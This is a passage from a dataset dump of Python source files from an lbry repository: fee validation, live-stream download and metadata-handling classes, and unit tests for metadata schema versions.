'bY13xeAjLrsjP4KGETwStK2a9UgKgXVTXu',\n 't': True,\n 'f': False,\n }\n self.assertDictEqual(test_r, DaemonCLI.get_params_from_kwargs(test_params))\n" }, { "alpha_fraction": 0.6121758818626404, "alphanum_fraction": 0.6234498023986816, "avg_line_length": 21.743589401245117, "blob_id": "9c0786f69c609bc3a7d577f9045eb358442a0a75", "content_id": "0e77b3cfe7855d3f05c56ae8c9aac20b197dea35", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 887, "license_type": "permissive", "max_line_length": 70, "num_lines": 39, "path": "/lbrynet/metadata/Fee.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "import logging\nimport fee_schemas\n\nfrom lbrynet.metadata.StructuredDict import StructuredDict\n\nlog = logging.getLogger(__name__)\n\n\nclass FeeValidator(StructuredDict):\n def __init__(self, fee):\n self._versions = [\n ('0.0.1', fee_schemas.VER_001, None)\n ]\n\n StructuredDict.__init__(self, fee, fee.get('ver', '0.0.1'))\n\n self.currency_symbol = self.keys()[0]\n self.amount = self._get_amount()\n self.address = self[self.currency_symbol]['address']\n\n def _get_amount(self):\n amt = self[self.currency_symbol]['amount']\n try:\n return float(amt)\n except TypeError:\n log.error('Failed to convert fee amount %s to float', amt)\n raise\n\n\nclass LBCFeeValidator(StructuredDict):\n pass\n\n\nclass BTCFeeValidator(StructuredDict):\n pass\n\n\nclass USDFeeValidator(StructuredDict):\n pass\n" }, { "alpha_fraction": 0.6009801626205444, "alphanum_fraction": 0.6045911908149719, "avg_line_length": 41.60439682006836, "blob_id": "df07479c2d0e65d1557f1f285362b336885c94db", "content_id": "2869ada6182212a1f9c7be912443d086ff59995a", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3877, "license_type": "permissive", "max_line_length": 107, "num_lines": 91, "path": "/lbrynet/lbrylive/client/LiveStreamProgressManager.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\nimport logging\nfrom lbrynet.core.client.StreamProgressManager import StreamProgressManager\nfrom twisted.internet import defer\n\n\nlog = logging.getLogger(__name__)\n\n\nclass LiveStreamProgressManager(StreamProgressManager):\n def __init__(self, finished_callback, blob_manager, download_manager, delete_blob_after_finished=False,\n download_whole=True, max_before_skip_ahead=5):\n self.download_whole = download_whole\n self.max_before_skip_ahead = max_before_skip_ahead\n StreamProgressManager.__init__(self, finished_callback, blob_manager, download_manager,\n delete_blob_after_finished)\n\n ######### IProgressManager #########\n\n def stream_position(self):\n blobs = self.download_manager.blobs\n if not blobs:\n return 0\n else:\n newest_known_blobnum = max(blobs.iterkeys())\n position = newest_known_blobnum\n oldest_relevant_blob_num = (max(0, newest_known_blobnum - self.max_before_skip_ahead + 1))\n for i in xrange(newest_known_blobnum, oldest_relevant_blob_num - 1, -1):\n if i in blobs and (not blobs[i].is_validated() and not i in self.provided_blob_nums):\n position = i\n return position\n\n def needed_blobs(self):\n blobs = self.download_manager.blobs\n stream_position = self.stream_position()\n if blobs:\n newest_known_blobnum = max(blobs.iterkeys())\n else:\n newest_known_blobnum = -1\n blobs_needed = []\n for i in xrange(stream_position, newest_known_blobnum + 1):\n if i in blobs and not blobs[i].is_validated() and not i in self.provided_blob_nums:\n blobs_needed.append(blobs[i])\n return blobs_needed\n\n ######### internal #########\n\n def _output_loop(self):\n\n from twisted.internet import reactor\n\n if self.stopped is True:\n if self.outputting_d is not None:\n self.outputting_d.callback(True)\n self.outputting_d = None\n return\n\n blobs = self.download_manager.blobs\n log.info(\"In _output_loop. last_blob_outputted: %s\", str(self.last_blob_outputted))\n if blobs:\n log.debug(\"Newest blob number: %s\", str(max(blobs.iterkeys())))\n if self.outputting_d is None:\n self.outputting_d = defer.Deferred()\n\n current_blob_num = self.last_blob_outputted + 1\n\n def finished_outputting_blob():\n self.last_blob_outputted += 1\n final_blob_num = self.download_manager.final_blob_num()\n if final_blob_num is not None and final_blob_num == self.last_blob_outputted:\n self._finished_outputting()\n self.outputting_d.callback(True)\n self.outputting_d = None\n else:\n reactor.callLater(0, self._output_loop)\n\n if current_blob_num in blobs and blobs[current_blob_num].is_validated():\n log.info(\"Outputting blob %s\", str(current_blob_num))\n self.provided_blob_nums.append(current_blob_num)\n d = self.download_manager.handle_blob(current_blob_num)\n d.addCallback(lambda _: finished_outputting_blob())\n d.addCallback(lambda _: self._finished_with_blob(current_blob_num))\n elif blobs and max(blobs.iterkeys()) > self.last_blob_outputted + self.max_before_skip_ahead - 1:\n self.last_blob_outputted += 1\n log.info(\"Skipping blob number %s due to knowing about blob number %s\",\n str(self.last_blob_outputted), str(max(blobs.iterkeys())))\n self._finished_with_blob(current_blob_num)\n reactor.callLater(0, self._output_loop)\n else:\n self.outputting_d.callback(True)\n self.outputting_d = None\n" }, { "alpha_fraction": 0.5547069907188416, "alphanum_fraction": 0.6389495134353638, "avg_line_length": 57.86238479614258, "blob_id": "b872fc3c3114a3030fa4f50f115bbb6852935127", "content_id": "0cf6d8168cc87a7c9147019e104746ae03b866c4", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12832, "license_type": "permissive", "max_line_length": 413, "num_lines": 218, "path": "/tests/unit/core/test_Metadata.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "from twisted.trial import unittest\nfrom jsonschema import ValidationError\n\nfrom lbrynet.core import Error\nfrom lbrynet.metadata import Metadata\n\n\nclass MetadataTest(unittest.TestCase):\n def test_name_error_if_blank(self):\n with self.assertRaises(AssertionError):\n Metadata.verify_name_characters(\"\")\n\n def test_name_error_if_contains_bad_chrs(self):\n with self.assertRaises(Error.InvalidName):\n Metadata.verify_name_characters(\"wu tang\")\n with self.assertRaises(Error.InvalidName):\n Metadata.verify_name_characters(\"$wutang\")\n with self.assertRaises(Error.InvalidName):\n Metadata.verify_name_characters(\"#wutang\")\n\n def test_validation_error_if_no_metadata(self):\n metadata = {}\n with self.assertRaises(ValidationError):\n Metadata.Metadata(metadata)\n\n def test_validation_error_if_source_is_missing(self):\n metadata = {\n 'license': 'Oscilloscope Laboratories',\n 'description': 'Four couples meet for Sunday brunch only to discover they are stuck in a house together as the world may be about to end.',\n 'language': 'en',\n 'title': \"It's a Disaster\",\n 'author': 'Written and directed by Todd Berger',\n 'content-type': 'audio/mpeg',\n 'thumbnail': 'http://ia.media-imdb.com/images/M/MV5BMTQwNjYzMTQ0Ml5BMl5BanBnXkFtZTcwNDUzODM5Nw@@._V1_SY1000_CR0,0,673,1000_AL_.jpg',\n }\n with self.assertRaises(ValidationError):\n Metadata.Metadata(metadata)\n\n def test_metadata_works_without_fee(self):\n metadata = {\n 'license': 'Oscilloscope Laboratories',\n 'description': 'Four couples meet for Sunday brunch only to discover they are stuck in a house together as the world may be about to end.',\n 'language': 'en',\n 'title': \"It's a Disaster\",\n 'author': 'Written and directed by Todd Berger',\n 'sources': {\n 'lbry_sd_hash': '8d0d6ea64d09f5aa90faf5807d8a761c32a27047861e06f81f41e35623a348a4b0104052161d5f89cf190f9672bc4ead'},\n 'content-type': 'audio/mpeg',\n 'thumbnail': 'http://ia.media-imdb.com/images/M/MV5BMTQwNjYzMTQ0Ml5BMl5BanBnXkFtZTcwNDUzODM5Nw@@._V1_SY1000_CR0,0,673,1000_AL_.jpg',\n }\n m = Metadata.Metadata(metadata)\n self.assertFalse('fee' in m)\n\n def test_validation_error_if_invalid_source(self):\n metadata = {\n 'license': 'Oscilloscope Laboratories',\n 'description': 'Four couples meet for Sunday brunch only to discover they are stuck in a house together as the world may be about to end.',\n 'language': 'en',\n 'title': \"It's a Disaster\",\n 'author': 'Written and directed by Todd Berger',\n 'sources': {\n 'fake': 'source'},\n 'content-type': 'audio/mpeg',\n 'thumbnail': 'http://ia.media-imdb.com/images/M/MV5BMTQwNjYzMTQ0Ml5BMl5BanBnXkFtZTcwNDUzODM5Nw@@._V1_SY1000_CR0,0,673,1000_AL_.jpg',\n }\n with self.assertRaises(ValidationError):\n Metadata.Metadata(metadata)\n\n def test_validation_error_if_missing_v001_field(self):\n metadata = {\n 'license': 'Oscilloscope Laboratories',\n 'fee': {'LBC': {'amount': 50.0, 'address': 'bRQJASJrDbFZVAvcpv3NoNWoH74LQd5JNV'}},\n 'description': 'Four couples meet for Sunday brunch only to discover they are stuck in a house together as the world may be about to end.',\n 'language': 'en',\n 'author': 'Written and directed by Todd Berger',\n 'sources': {\n 'lbry_sd_hash': '8d0d6ea64d09f5aa90faf5807d8a761c32a27047861e06f81f41e35623a348a4b0104052161d5f89cf190f9672bc4ead'},\n 'content-type': 'audio/mpeg',\n 'thumbnail': 'http://ia.media-imdb.com/images/M/MV5BMTQwNjYzMTQ0Ml5BMl5BanBnXkFtZTcwNDUzODM5Nw@@._V1_SY1000_CR0,0,673,1000_AL_.jpg'\n }\n with self.assertRaises(ValidationError):\n Metadata.Metadata(metadata)\n\n def test_version_is_001_if_all_fields_are_present(self):\n metadata = {\n 'license': 'Oscilloscope Laboratories',\n 'description': 'Four couples meet for Sunday brunch only to discover they are stuck in a house together as the world may be about to end.',\n 'language': 'en',\n 'title': \"It's a Disaster\",\n 'author': 'Written and directed by Todd Berger',\n 'sources': {\n 'lbry_sd_hash': '8d0d6ea64d09f5aa90faf5807d8a761c32a27047861e06f81f41e35623a348a4b0104052161d5f89cf190f9672bc4ead'},\n 'content-type': 'audio/mpeg',\n 'thumbnail': 'http://ia.media-imdb.com/images/M/MV5BMTQwNjYzMTQ0Ml5BMl5BanBnXkFtZTcwNDUzODM5Nw@@._V1_SY1000_CR0,0,673,1000_AL_.jpg',\n }\n m = Metadata.Metadata(metadata, migrate=False)\n self.assertEquals('0.0.1', m.version)\n\n def test_validation_error_if_there_is_an_extra_field(self):\n metadata = {\n 'license': 'Oscilloscope Laboratories',\n 'description': 'Four couples meet for Sunday brunch only to discover they are stuck in a house together as the world may be about to end.',\n 'language': 'en',\n 'title': \"It's a Disaster\",\n 'author': 'Written and directed by Todd Berger',\n 'sources': {\n 'lbry_sd_hash': '8d0d6ea64d09f5aa90faf5807d8a761c32a27047861e06f81f41e35623a348a4b0104052161d5f89cf190f9672bc4ead'},\n 'content-type': 'audio/mpeg',\n 'thumbnail': 'http://ia.media-imdb.com/images/M/MV5BMTQwNjYzMTQ0Ml5BMl5BanBnXkFtZTcwNDUzODM5Nw@@._V1_SY1000_CR0,0,673,1000_AL_.jpg',\n 'MYSTERYFIELD': '?'\n }\n with self.assertRaises(ValidationError):\n Metadata.Metadata(metadata, migrate=False)\n\n def test_version_is_002_if_all_fields_are_present(self):\n metadata = {\n 'license': 'NASA',\n 'fee': {'USD': {'amount': 0.01, 'address': 'baBYSK7CqGSn5KrEmNmmQwAhBSFgo6v47z'}},\n 'ver': '0.0.2',\n 'description': 'SDO captures images of the sun in 10 different wavelengths, each of which helps highlight a different temperature of solar material. Different temperatures can, in turn, show specific structures on the sun such as solar flares, which are gigantic explosions of light and x-rays, or coronal loops, which are stream of solar material travelling up and down looping magnetic field lines',\n 'language': 'en',\n 'author': 'The SDO Team, Genna Duberstein and Scott Wiessinger',\n 'title': 'Thermonuclear Art',\n 'sources': {\n 'lbry_sd_hash': '8655f713819344980a9a0d67b198344e2c462c90f813e86f0c63789ab0868031f25c54d0bb31af6658e997e2041806eb'},\n 'nsfw': False,\n 'content-type': 'video/mp4',\n 'thumbnail': 'https://svs.gsfc.nasa.gov/vis/a010000/a012000/a012034/Combined.00_08_16_17.Still004.jpg'\n }\n m = Metadata.Metadata(metadata, migrate=False)\n self.assertEquals('0.0.2', m.version)\n\n def test_version_is_003_if_all_fields_are_present(self):\n metadata = {\n 'license': 'NASA',\n 'fee': {'USD': {'amount': 0.01, 'address': 'baBYSK7CqGSn5KrEmNmmQwAhBSFgo6v47z'}},\n 'ver': '0.0.3',\n 'description': 'SDO captures images of the sun in 10 different wavelengths, each of which helps highlight a different temperature of solar material. Different temperatures can, in turn, show specific structures on the sun such as solar flares, which are gigantic explosions of light and x-rays, or coronal loops, which are stream of solar material travelling up and down looping magnetic field lines',\n 'language': 'en',\n 'author': 'The SDO Team, Genna Duberstein and Scott Wiessinger',\n 'title': 'Thermonuclear Art',\n 'sources': {\n 'lbry_sd_hash': '8655f713819344980a9a0d67b198344e2c462c90f813e86f0c63789ab0868031f25c54d0bb31af6658e997e2041806eb'},\n 'nsfw': False,\n 'content_type': 'video/mp4',\n 'thumbnail': 'https://svs.gsfc.nasa.gov/vis/a010000/a012000/a012034/Combined.00_08_16_17.Still004.jpg'\n }\n m = Metadata.Metadata(metadata, migrate=False)\n self.assertEquals('0.0.3', m.version)\n\n def test_version_claimed_is_001_but_version_is_002(self):\n metadata = {\n 'license': 'NASA',\n 'fee': {'USD': {'amount': 0.01, 'address': 'baBYSK7CqGSn5KrEmNmmQwAhBSFgo6v47z'}},\n 'ver': '0.0.1',\n 'description': 'SDO captures images of the sun in 10 different wavelengths, each of which helps highlight a different temperature of solar material. Different temperatures can, in turn, show specific structures on the sun such as solar flares, which are gigantic explosions of light and x-rays, or coronal loops, which are stream of solar material travelling up and down looping magnetic field lines',\n 'language': 'en',\n 'author': 'The SDO Team, Genna Duberstein and Scott Wiessinger',\n 'title': 'Thermonuclear Art',\n 'sources': {\n 'lbry_sd_hash': '8655f713819344980a9a0d67b198344e2c462c90f813e86f0c63789ab0868031f25c54d0bb31af6658e997e2041806eb'},\n 'nsfw': False,\n 'content-type': 'video/mp4',\n 'thumbnail': 'https://svs.gsfc.nasa.gov/vis/a010000/a012000/a012034/Combined.00_08_16_17.Still004.jpg'\n }\n with self.assertRaises(ValidationError):\n Metadata.Metadata(metadata, migrate=False)\n\n def test_version_claimed_is_002_but_version_is_003(self):\n metadata = {\n 'license': 'NASA',\n 'fee': {'USD': {'amount': 0.01, 'address': 'baBYSK7CqGSn5KrEmNmmQwAhBSFgo6v47z'}},\n 'ver': '0.0.2',\n 'description': 'SDO captures images of the sun in 10 different wavelengths, each of which helps highlight a different temperature of solar material. Different temperatures can, in turn, show specific structures on the sun such as solar flares, which are gigantic explosions of light and x-rays, or coronal loops, which are stream of solar material travelling up and down looping magnetic field lines',\n 'language': 'en',\n 'author': 'The SDO Team, Genna Duberstein and Scott Wiessinger',\n 'title': 'Thermonuclear Art',\n 'sources': {\n 'lbry_sd_hash': '8655f713819344980a9a0d67b198344e2c462c90f813e86f0c63789ab0868031f25c54d0bb31af6658e997e2041806eb'},\n 'nsfw': False,\n 'content_type': 'video/mp4',\n 'thumbnail': 'https://svs.gsfc.nasa.gov/vis/a010000/a012000/a012034/Combined.00_08_16_17.Still004.jpg'\n }\n with self.assertRaises(ValidationError):\n Metadata.Metadata(metadata, migrate=False)\n\n def test_version_001_ports_to_003(self):\n metadata = {\n 'license': 'Oscilloscope Laboratories',\n 'description': 'Four couples meet for Sunday brunch only to discover they are stuck in a house together as the world may be about to end.',\n 'language': 'en',\n 'title': \"It's a Disaster\",\n 'author': 'Written and directed by Todd Berger',\n 'sources': {\n 'lbry_sd_hash': '8d0d6ea64d09f5aa90faf5807d8a761c32a27047861e06f81f41e35623a348a4b0104052161d5f89cf190f9672bc4ead'},\n 'content-type': 'audio/mpeg',\n 'thumbnail': 'http://ia.media-imdb.com/images/M/MV5BMTQwNjYzMTQ0Ml5BMl5BanBnXkFtZTcwNDUzODM5Nw@@._V1_SY1000_CR0,0,673,1000_AL_.jpg',\n }\n m = Metadata.Metadata(metadata, migrate=True)\n self.assertEquals('0.0.3', m.version)\n\n def test_version_002_ports_to_003(self):\n metadata = {\n 'license': 'NASA',\n 'fee': {'USD': {'amount': 0.01, 'address': 'baBYSK7CqGSn5KrEmNmmQwAhBSFgo6v47z'}},\n 'ver': '0.0.2',\n 'description': 'SDO captures images of the sun in 10 different wavelengths, each of which helps highlight a different temperature of solar material. Different temperatures can, in turn, show specific structures on the sun such as solar flares, which are gigantic explosions of light and x-rays, or coronal loops, which are stream of solar material travelling up and down looping magnetic field lines',\n 'language': 'en',\n 'author': 'The SDO Team, Genna Duberstein and Scott Wiessinger',\n 'title': 'Thermonuclear Art',\n 'sources': {\n 'lbry_sd_hash': '8655f713819344980a9a0d67b198344e2c462c90f813e86f0c63789ab0868031f25c54d0bb31af6658e997e2041806eb'},\n 'nsfw': False,\n 'content-type': 'video/mp4',\n 'thumbnail': 'https://svs.gsfc.nasa.gov/vis/a010000/a012000/a012034/Combined.00_08_16_17.Still004.jpg'\n }\n m = Metadata.Metadata(metadata, migrate=True)\n self.assertEquals('0.0.3', m.version)\n" }, { "alpha_fraction": 0.5833278298377991, "alphanum_fraction": 0.587092936038971, "avg_line_length": 42.62824249267578, "blob_id": "3dd2535dc1e1cecc134bc94aab93c8d443e61be5", "content_id": "921c27dc7742724d2ccf07ab5c5c7e8ec8b3f375", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15139, "license_type": "permissive", "max_line_length": 117, "num_lines": 347, "path": "/lbrynet/lbrylive/client/LiveStreamMetadataHandler.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\nfrom collections import defaultdict\nimport logging\nfrom zope.interface import implements\nfrom twisted.internet import defer\nfrom twisted.python.failure import Failure\nfrom lbrynet import conf\nfrom lbrynet.core.client.ClientRequest import ClientRequest, ClientPaidRequest\nfrom lbrynet.lbrylive.LiveBlob import LiveBlobInfo\nfrom lbrynet.core.cryptoutils import get_lbry_hash_obj, verify_signature\nfrom lbrynet.interfaces import IRequestCreator, IMetadataHandler\nfrom lbrynet.core.Error import InsufficientFundsError, InvalidResponseError, RequestCanceledError\nfrom lbrynet.core.Error import NoResponseError, ConnectionClosedBeforeResponseError\n\n\nlog = logging.getLogger(__name__)\n\n\nclass LiveStreamMetadataHandler(object):\n implements(IRequestCreator, IMetadataHandler)\n\n def __init__(self, stream_hash, stream_info_manager, peer_finder, stream_pub_key, download_whole,\n payment_rate_manager, wallet, download_manager, max_before_skip_ahead=None):\n self.stream_hash = stream_hash\n self.stream_info_manager = stream_info_manager\n self.payment_rate_manager = payment_rate_manager\n self.wallet = wallet\n self.peer_finder = peer_finder\n self.stream_pub_key = stream_pub_key\n self.download_whole = download_whole\n self.max_before_skip_ahead = max_before_skip_ahead\n if self.download_whole is False:\n assert self.max_before_skip_ahead is not None, \\\n \"If download whole is False, max_before_skip_ahead must be set\"\n self.download_manager = download_manager\n self._peers = defaultdict(int) # {Peer: score}\n self._protocol_prices = {}\n self._final_blob_num = None\n self._price_disagreements = [] # [Peer]\n self._incompatible_peers = [] # [Peer]\n\n ######### IMetadataHandler #########\n\n def get_initial_blobs(self):\n d = self.stream_info_manager.get_blobs_for_stream(self.stream_hash)\n d.addCallback(self._format_initial_blobs_for_download_manager)\n return d\n\n def final_blob_num(self):\n return self._final_blob_num\n\n ######## IRequestCreator #########\n\n def send_next_request(self, peer, protocol):\n if self._finished_discovery() is False and self._should_send_request_to(peer) is True:\n p_r = None\n if not self._price_settled(protocol):\n p_r = self._get_price_request(peer, protocol)\n d_r = self._get_discover_request(peer)\n reserved_points = self._reserve_points(peer, protocol, d_r.max_pay_units)\n if reserved_points is not None:\n d1 = protocol.add_request(d_r)\n d1.addCallback(self._handle_discover_response, peer, d_r)\n d1.addBoth(self._pay_or_cancel_payment, protocol, reserved_points)\n d1.addErrback(self._request_failed, peer)\n if p_r is not None:\n d2 = protocol.add_request(p_r)\n d2.addCallback(self._handle_price_response, peer, p_r, protocol)\n d2.addErrback(self._request_failed, peer)\n return defer.succeed(True)\n else:\n return defer.fail(InsufficientFundsError())\n return defer.succeed(False)\n\n def get_new_peers(self):\n d = self._get_hash_for_peer_search()\n d.addCallback(self._find_peers_for_hash)\n return d\n\n ######### internal calls #########\n\n def _get_hash_for_peer_search(self):\n r = None\n if self._finished_discovery() is False:\n r = self.stream_hash\n log.debug(\"Info finder peer search response for stream %s: %s\", str(self.stream_hash), str(r))\n return defer.succeed(r)\n\n def _find_peers_for_hash(self, h):\n if h is None:\n return None\n else:\n d = self.peer_finder.find_peers_for_blob(h)\n\n def choose_best_peers(peers):\n bad_peers = self._get_bad_peers()\n return [p for p in peers if not p in bad_peers]\n\n d.addCallback(choose_best_peers)\n return d\n\n def _format_initial_blobs_for_download_manager(self, blob_infos):\n infos = []\n for blob_hash, blob_num, revision, iv, length, signature in blob_infos:\n if blob_hash is not None:\n infos.append(LiveBlobInfo(blob_hash, blob_num, length, iv, revision, signature))\n else:\n log.debug(\"Setting _final_blob_num to %s\", str(blob_num - 1))\n self._final_blob_num = blob_num - 1\n return infos\n\n def _should_send_request_to(self, peer):\n if self._peers[peer] < -5.0:\n return False\n if peer in self._price_disagreements:\n return False\n return True\n\n def _get_bad_peers(self):\n return [p for p in self._peers.iterkeys() if not self._should_send_request_to(p)]\n\n def _finished_discovery(self):\n if self._get_discovery_params() is None:\n return True\n return False\n\n def _get_discover_request(self, peer):\n discovery_params = self._get_discovery_params()\n if discovery_params:\n further_blobs_request = {}\n reference, start, end, count = discovery_params\n further_blobs_request['reference'] = reference\n if start is not None:\n further_blobs_request['start'] = start\n if end is not None:\n further_blobs_request['end'] = end\n if count is not None:\n further_blobs_request['count'] = count\n else:\n further_blobs_request['count'] = conf.settings['MAX_BLOB_INFOS_TO_REQUEST']\n log.debug(\"Requesting %s blob infos from %s\", str(further_blobs_request['count']), str(peer))\n r_dict = {'further_blobs': further_blobs_request}\n response_identifier = 'further_blobs'\n request = ClientPaidRequest(r_dict, response_identifier, further_blobs_request['count'])\n return request\n return None\n\n def _get_discovery_params(self):\n log.debug(\"In _get_discovery_params\")\n stream_position = self.download_manager.stream_position()\n blobs = self.download_manager.blobs\n if blobs:\n last_blob_num = max(blobs.iterkeys())\n else:\n last_blob_num = -1\n final_blob_num = self.final_blob_num()\n if final_blob_num is not None:\n last_blob_num = final_blob_num\n if self.download_whole is False:\n log.debug(\"download_whole is False\")\n if final_blob_num is not None:\n for i in xrange(stream_position, final_blob_num + 1):\n if not i in blobs:\n count = min(self.max_before_skip_ahead, (final_blob_num - i + 1))\n return self.stream_hash, None, 'end', count\n return None\n else:\n if blobs:\n for i in xrange(stream_position, last_blob_num + 1):\n if not i in blobs:\n if i == 0:\n return self.stream_hash, 'beginning', 'end', -1 * self.max_before_skip_ahead\n else:\n return self.stream_hash, blobs[i-1].blob_hash, 'end', -1 * self.max_before_skip_ahead\n return self.stream_hash, blobs[last_blob_num].blob_hash, 'end', -1 * self.max_before_skip_ahead\n else:\n return self.stream_hash, None, 'end', -1 * self.max_before_skip_ahead\n log.debug(\"download_whole is True\")\n beginning = None\n end = None\n for i in xrange(stream_position, last_blob_num + 1):\n if not i in blobs:\n if beginning is None:\n if i == 0:\n beginning = 'beginning'\n else:\n beginning = blobs[i-1].blob_hash\n else:\n if beginning is not None:\n end = blobs[i].blob_hash\n break\n if beginning is None:\n if final_blob_num is not None:\n log.debug(\"Discovery is finished. stream_position: %s, last_blob_num + 1: %s\", str(stream_position),\n str(last_blob_num + 1))\n return None\n else:\n log.debug(\"Discovery is not finished. final blob num is unknown.\")\n if last_blob_num != -1:\n return self.stream_hash, blobs[last_blob_num].blob_hash, None, None\n else:\n return self.stream_hash, 'beginning', None, None\n else:\n log.info(\"Discovery is not finished. Not all blobs are known.\")\n return self.stream_hash, beginning, end, None\n\n def _price_settled(self, protocol):\n if protocol in self._protocol_prices:\n return True\n return False\n\n def _update_local_score(self, peer, amount):\n self._peers[peer] += amount\n\n def _reserve_points(self, peer, protocol, max_infos):\n assert protocol in self._protocol_prices\n point_amount = 1.0 * max_infos * self._protocol_prices[protocol] / 1000.0\n return self.wallet.reserve_points(peer, point_amount)\n\n def _pay_or_cancel_payment(self, arg, protocol, reserved_points):\n if isinstance(arg, Failure) or arg == 0:\n self._cancel_points(reserved_points)\n else:\n self._pay_peer(protocol, arg, reserved_points)\n return arg\n\n def _pay_peer(self, protocol, num_infos, reserved_points):\n assert num_infos != 0\n assert protocol in self._protocol_prices\n point_amount = 1.0 * num_infos * self._protocol_prices[protocol] / 1000.0\n self.wallet.send_points(reserved_points, point_amount)\n self.payment_rate_manager.record_points_paid(point_amount)\n\n def _cancel_points(self, reserved_points):\n return self.wallet.cancel_point_reservation(reserved_points)\n\n def _get_price_request(self, peer, protocol):\n self._protocol_prices[protocol] = self.payment_rate_manager.get_rate_live_blob_info(peer)\n request_dict = {'blob_info_payment_rate': self._protocol_prices[protocol]}\n request = ClientRequest(request_dict, 'blob_info_payment_rate')\n return request\n\n def _handle_price_response(self, response_dict, peer, request, protocol):\n if not request.response_identifier in response_dict:\n return InvalidResponseError(\"response identifier not in response\")\n assert protocol in self._protocol_prices\n response = response_dict[request.response_identifier]\n if response == \"RATE_ACCEPTED\":\n return True\n else:\n log.info(\"Rate offer has been rejected by %s\", str(peer))\n del self._protocol_prices[protocol]\n self._price_disagreements.append(peer)\n return True\n\n def _handle_discover_response(self, response_dict, peer, request):\n if not request.response_identifier in response_dict:\n return InvalidResponseError(\"response identifier not in response\")\n response = response_dict[request.response_identifier]\n blob_infos = []\n if 'error' in response:\n if response['error'] == 'RATE_UNSET':\n return defer.succeed(0)\n else:\n return InvalidResponseError(\"Got an unknown error from the peer: %s\" %\n (response['error'],))\n if not 'blob_infos' in response:\n return InvalidResponseError(\"Missing the required field 'blob_infos'\")\n raw_blob_infos = response['blob_infos']\n log.info(\"Handling %s further blobs from %s\", str(len(raw_blob_infos)), str(peer))\n log.debug(\"blobs: %s\", str(raw_blob_infos))\n for raw_blob_info in raw_blob_infos:\n length = raw_blob_info['length']\n if length != 0:\n blob_hash = raw_blob_info['blob_hash']\n else:\n blob_hash = None\n num = raw_blob_info['blob_num']\n revision = raw_blob_info['revision']\n iv = raw_blob_info['iv']\n signature = raw_blob_info['signature']\n blob_info = LiveBlobInfo(blob_hash, num, length, iv, revision, signature)\n log.debug(\"Learned about a potential blob: %s\", str(blob_hash))\n if self._verify_blob(blob_info):\n if blob_hash is None:\n log.info(\"Setting _final_blob_num to %s\", str(num - 1))\n self._final_blob_num = num - 1\n else:\n blob_infos.append(blob_info)\n else:\n raise ValueError(\"Peer sent an invalid blob info\")\n d = self.stream_info_manager.add_blobs_to_stream(self.stream_hash, blob_infos)\n\n def add_blobs_to_download_manager():\n blob_nums = [b.blob_num for b in blob_infos]\n log.info(\"Adding the following blob nums to the download manager: %s\", str(blob_nums))\n self.download_manager.add_blobs_to_download(blob_infos)\n\n d.addCallback(lambda _: add_blobs_to_download_manager())\n\n def pay_or_penalize_peer():\n if len(blob_infos):\n self._update_local_score(peer, len(blob_infos))\n peer.update_stats('downloaded_crypt_blob_infos', len(blob_infos))\n peer.update_score(len(blob_infos))\n else:\n self._update_local_score(peer, -.0001)\n return len(blob_infos)\n\n d.addCallback(lambda _: pay_or_penalize_peer())\n\n return d\n\n def _verify_blob(self, blob):\n log.debug(\"Got an unverified blob to check:\")\n log.debug(\"blob_hash: %s\", blob.blob_hash)\n log.debug(\"blob_num: %s\", str(blob.blob_num))\n log.debug(\"revision: %s\", str(blob.revision))\n log.debug(\"iv: %s\", blob.iv)\n log.debug(\"length: %s\", str(blob.length))\n hashsum = get_lbry_hash_obj()\n hashsum.update(self.stream_hash)\n if blob.length != 0:\n hashsum.update(blob.blob_hash)\n hashsum.update(str(blob.blob_num))\n hashsum.update(str(blob.revision))\n hashsum.update(blob.iv)\n hashsum.update(str(blob.length))\n log.debug(\"hexdigest to be verified: %s\", hashsum.hexdigest())\n if verify_signature(hashsum.digest(), blob.signature, self.stream_pub_key):\n log.debug(\"Blob info is valid\")\n return True\n else:\n log.debug(\"The blob info is invalid\")\n return False\n\n def _request_failed(self, reason, peer):\n if reason.check(RequestCanceledError):\n return\n if reason.check(NoResponseError):\n self._incompatible_peers.append(peer)\n log.warning(\"Crypt stream info finder: a request failed. Reason: %s\", reason.getErrorMessage())\n self._update_local_score(peer, -5.0)\n peer.update_score(-10.0)\n if reason.check(ConnectionClosedBeforeResponseError):\n return\n return reason\n" }, { "alpha_fraction": 0.6459190845489502, "alphanum_fraction": 0.6480988264083862, "avg_line_length": 39.48039245605469, "blob_id": "dcecd2e92d0340a5f61dccc5f3a1abcf705000a2", "content_id": "86aad2f7cc358a2a0f865382d2450eea5f6cf2d0", "detected_licenses": [ "LicenseRef-scancode-unknown-license-reference", "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4129, "license_type": "permissive", "max_line_length": 117, "num_lines": 102, "path": "/lbrynet/lbrylive/StdoutDownloader.py", "repo_name": "le-dit-gaga/lbry", "src_encoding": "UTF-8", "text": "# pylint: skip-file\n# pylint: skip-file\n# This file is not maintained, but might be used in the future\n#\nimport logging\nimport sys\n\nfrom lbrynet.lbrylive.client.LiveStreamDownloader import LiveStreamDownloader\nfrom lbrynet.core.BlobManager import TempBlobManager\nfrom lbrynet.core.Session import Session\nfrom lbrynet.core.client.StandaloneBlobDownloader import StandaloneBlobDownloader\nfrom lbrynet.core.StreamDescriptor import BlobStreamDescriptorReader\nfrom lbrynet.lbrylive.PaymentRateManager import BaseLiveStreamPaymentRateManager\nfrom lbrynet.lbrylive.LiveStreamMetadataManager import DBLiveStreamMetadataManager\nfrom lbrynet.lbrylive.StreamDescriptor import save_sd_info\nfrom lbrynet.dht.node import Node\nfrom twisted.internet import task\n\n\nclass StdoutDownloader():\n \"\"\"This class downloads a live stream from the network and outputs it to standard out.\"\"\"\n def __init__(self, dht_node_port, known_dht_nodes,\n 